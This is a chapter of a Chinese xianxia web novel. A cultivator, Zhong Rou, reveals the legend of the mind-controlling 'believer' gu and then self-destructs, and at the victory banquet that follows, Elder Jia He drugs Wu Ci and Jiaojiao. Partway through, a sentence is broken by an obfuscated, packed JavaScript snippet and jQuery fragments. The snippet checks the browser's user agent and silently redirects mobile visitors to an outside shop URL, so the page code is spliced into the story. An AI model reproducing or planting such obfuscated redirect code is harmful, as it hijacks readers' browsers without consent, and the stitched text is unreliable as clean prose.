仲柔的声音虚弱,但仍带着尸山血海中杀出来的修士身上独有的清定之感:“大约在十年前,修仙界就流传这一种蛊的传说。”
“这个蛊被传得神乎其神,传说可以悄无声息操纵别人的心智,让人将持蛊者视若神明。甚至有人说,得此蛊者,得天下。”
“这个蛊的传说流传了很多年,但谁也没见过它的真迹,于是盛传几年后,这风声渐渐淡了下去。”
“但一年前,这个传说中的蛊虫再次出现在视野中,这一次,有了更多详尽的信息,形状、样子、名称、甚至连练蛊之法的残本,都出现了。”
“这种蛊的名字叫做信徒。”
说到这里,仲柔面色很凝重,显然这个蛊给仙界带来了不少祸患。
“我师尊也开始炼制此蛊,失败了很多次后,她炼制出了阴尸蛊。”
“然而,这个蛊和真正的信徒相去甚远,而且......在练蛊过程中她遭到反噬,走火入魔,后面的事,你也都知道了。”
信徒蛊?
皎皎默默咀嚼着这些信息,暗暗心惊。
这蛊虫会和父亲母亲的死亡有关系吗?
然而,仲柔的回答让她有些失望:“二小姐,令尊的事我也一无所知。”
皎皎问道:“你让我帮忙传递的那条信息......”
仲柔毫不掩藏,轻轻点头:“信徒蛊牵扯的人很多,背后势力错综复杂。我有一位友人,在暗中追查信徒蛊。她希望我继续留在师尊身边,借机寻找有用信息。”
仲柔疲倦地闭上眼,唇上血迹给这张温润的脸增添了几分凄绝:“只是师尊十分谨慎,几乎不曾对我透露任何。那一句话,也是我偶然间看到。”
说完,二人沉默,夜风冰冷刺骨。
良久,皎皎问道:“你......真的杀了那么多人,给宋英练蛊吗?”
皎皎以为自己等不到回答,但是还是听到了一声轻轻的“嗯”。
皎皎还是忍不住问:“为什么?”
为什么?
仲柔看起来是这么光风霁月,端方明朗。
她修为深厚,剑法神乎其神,是久负盛名的年轻天才。
她斩妖除魔,雷霆手段,是妖魔闻之丧胆的杀神克星。
她品性温厚,沉着温柔,是最受爱戴的仲柔师姐。
她几乎满足了世人对仙盟白衣剑客的一切想象,如果没有这件事的话。
为什么?
月光洒落在仲柔身上。
真微长老是她的师尊,炼丹练蛊痴狂,早就想用活人试试。
妖魔屠城,她家人尽死,是真微长老将她带回仙山,教她仙术。
从她学会仙术开始,就在为师尊寻找活人,用于炼丹练蛊。
生来便是错,活着便是错,一错再错,如何回头。
杀人偿命,今日的事,迟早会来临。
她每天都期盼着这一天。
皎皎的疑惑,无人回答,消散在寒冷的夜里。
她转过头,看到仲柔静静地抬头看着月亮。
仲柔道:“他们来了。”
四周仍然安静,而就在仲柔说完这句话的一瞬间,无数道灵力如暴雨般袭来!
那些灵力被仲柔施法躲开,但数量太多,仍在仲柔身上留下大大小小的伤痕。
皎皎被仲柔保护,毫发无伤。
刚刚乌瓷不顾她的性命,直接引雷劈向二人。
如今仙盟众人也如此,不顾她的死活,直接袭来无数攻击。
仙盟长老的声音传来:“贼子,还不束手就擒!”
仲柔并不答话,周身淡蓝色灵力如火焰般燃烧。
贾鹤长老最先反应过来:“不好,她要自爆!”
自爆是一个修真者最后的杀招,威力与修真者的修为息息相关,修为越高者,自爆的威力越强。
以仲柔目前的实力,她如果自爆,也会对在场的诸位长老们带来不小的伤害。
长老们想到仲柔可能会使用仙法逃跑,在周围设置了结界,却没想到她如此决绝。
他们没有准备,仓皇之中布置的防身阵法作用不够强,轻则受伤,重则跌落一个大境界。
而距离她那么近的陈皎皎,则肯定被冲击得连尸首都难保全。
在场的人都在转瞬之中建立了这个认识。
长老们迅速结阵防止冲击。
乌瓷手指微动,但很快又冷笑了一声。
她是什么人,值得自己去救吗?
他不会杀她,但更不会去主动救她!!
乌瓷冰冷眸光落在陈皎皎身上。
一道刺眼的白光从仲柔的身体中爆开,皎皎下意识地用手背遮住眼睛,然而预料中的死亡却没有来临。
皎皎移开挡住刺眼光芒的手,看到天上下雪了,鹅毛一样大的雪。
她伸手去接住那雪花,点点灵光在手掌心消散。
地上好像铺满了雪,也好像铺满了月光。
仲柔选择了死亡,但她只是将自己化作灵力,化作养分。
在场的众人,一时间都有些默然。
而除魔峰的弟子,眼眶都有些湿润,那是永远挡在所有人身前的师姐,她为自己的错误而选择死去,像是一场温柔的雪。
大雪圣洁而美丽,有多少痛苦和罪恶,肮脏的东西,都掩藏在其下。
*
仲柔是金丹期修士,这场“灵力雪”下了很久,到了后半夜都没有停歇。
酒楼二楼燃起了只有招待贵客才会用的镂空雕凤烛火,酒意酣然,桌上全是佳肴。
然而,这场夜宴的氛围并不欢乐,桌上的菜几乎没有人动,酒倒是空了一壶又一壶。
酒楼里传来外面人们模模糊糊的声音,下起了大雪,黑水镇的人们都感到惊异,出来玩雪。
这场早就安排好的庆功宴上,沉默占据了绝大多数的空间。
“啪。”
一只空了的酒壶掉落在地上,一个弟子红着眼眶,几次去捡酒壶捡不到,终于崩溃地啜泣起来。
贾鹤面色一黑,声音冷硬道:“他醉了,把他带下去休息。”
修士们心中沉重,三三两两告退。
贾鹤举起酒杯,却是来到了乌瓷面前。
乌瓷和陈皎皎,同样作为剿灭恶徒仲柔的功臣,来到了这场庆功宴上。
贾鹤举杯敬道:“公子少年英才。那一道紫电天雷,莫说我像你一般年轻的时候了,就算是现在的我,也难以做到啊。”
他自持身份高贵,若是对仙山中的青年弟子们说出这番话,他们八成会诚惶诚恐,又喜不自禁。
但面前的黑衣青年只是淡淡抬起眼皮,举杯将酒一饮而尽。
贾鹤眸光深沉,又敬陈皎皎一杯酒。
皎皎当然没忘记这些仙盟道长们临危抛弃她的样子,虽说是人之常情,但她也做不出什么笑脸,直接饮下那杯酒。
一连碰了两个软钉子,贾鹤倒也不恼,嘴角带
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16969779|193433||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着一丝微笑回了主座。
皎皎心中烦闷,今夜经历了太多。
她看向坐在身旁的乌瓷,在仲柔自爆前的那一刻,她以为自己要死了。
当时她有一些本能的害怕,但却不知道为什么,总觉得乌瓷会救自己。‘
毕竟他们是朋友啊。
可是她想错了。
而仲柔所说的话,也让她感受到了前路的漫长曲折。
冥冥之中,她总觉得这个“信徒蛊”,和父母之死有关。
她还有很长,很艰难的前路要走,或许乌瓷已经不再适合与她同行。
她看向身旁的乌瓷,青年肌肤如冷淡白玉,狭长凤眼上有着睫毛的浅淡阴影。
心中烦闷,这酒仿佛有着一种魔力,叫皎皎越喝越多。
乌瓷感到有人凑了过来,是双颊绯红的皎皎。
她浑身酒意,低声道:“你没有......你没有来。”
她声音又低又哑,又重复一遍,这一次是确认又叹息的语气:“你没有来。”
乌瓷的手慢慢收紧,他看着少女花瓣一般的唇一张一合:“我以后也不同你一起了。”
乌瓷深黑色的眸静静看着她,其中似有墨云翻涌。
他很少表露自己的情绪,此时,却压抑不住,咬牙道:“你凭什么。”
他们两个人凑得很近,低语,好像是情人在互诉衷肠。
实则一个心中有淡淡的怅惘,一个眼中却翻滚着刻骨的仇恨。
嗯?
皎皎没听清乌瓷的后半句话,她转过头,厅中的乐声吸引了她的注意力。
堂中不知何时站了一个人,整张脸都带着面具,身上穿着兽皮和骨饰。
那人不知是男是女,面前摆着一张大鼓,伴随着敲击的鼓点,做出祭祀一般舞蹈的动作。
皎皎看着那跳舞的人的怪异动作,目光慢慢飘远,思绪全部随着那鼓点而走。
一旁的乌瓷,则是单手扶着额头,好似头痛欲裂。
主座上的贾鹤向厅中的那人使了个颜色,鼓声变得越来越急,随着敲击声,整个厅堂中开始闪现出金色的符文。
烛火随着闪烁,贾鹤和其他长老的脸在阴影中变幻。
直到最后一个鼓点落下。
贾鹤看向一动不动的乌瓷和陈皎皎,嘴角挂起一个笑容。
他举起酒杯,站起身,对坐在另一侧的诸位长老道:“诸位辛苦,至此,仙盟叛徒仲柔拒捕自爆,魔修乌瓷伏法,两项任务一明一暗,全部顺利完成!”
他这次来到黑水镇,领了两个任务。
一个是带回仲柔。
而另一个更重要的任务,也是一项机密的任务,仙盟的那个人,亲自唤他前去,将这一项任务交给他。
这个任务,就是将乌瓷带回去!
他审慎选人,选择堂中留下的这三位长老,对他们告知了原委。
在看到乌瓷引雷后,他更加确信此人难斗。
于是他假借举办庆功宴之名,在酒中下了迷药,又在厅中设置阵法,再加上这其实是法术的舞蹈,三重保险,乌瓷在放松警惕的情况下,一定会被他们抓住!
接下来的任务,就是将此人带回去。
厅中的人其实早就散去,只剩下贾鹤和他的三个心腹。
只是皎皎和乌瓷被迷酒扰乱,连这么明显的陷阱都没有察觉。
贾鹤向众人举起酒杯,不知看到了什么,目光一凛,手中酒杯啪得摔碎!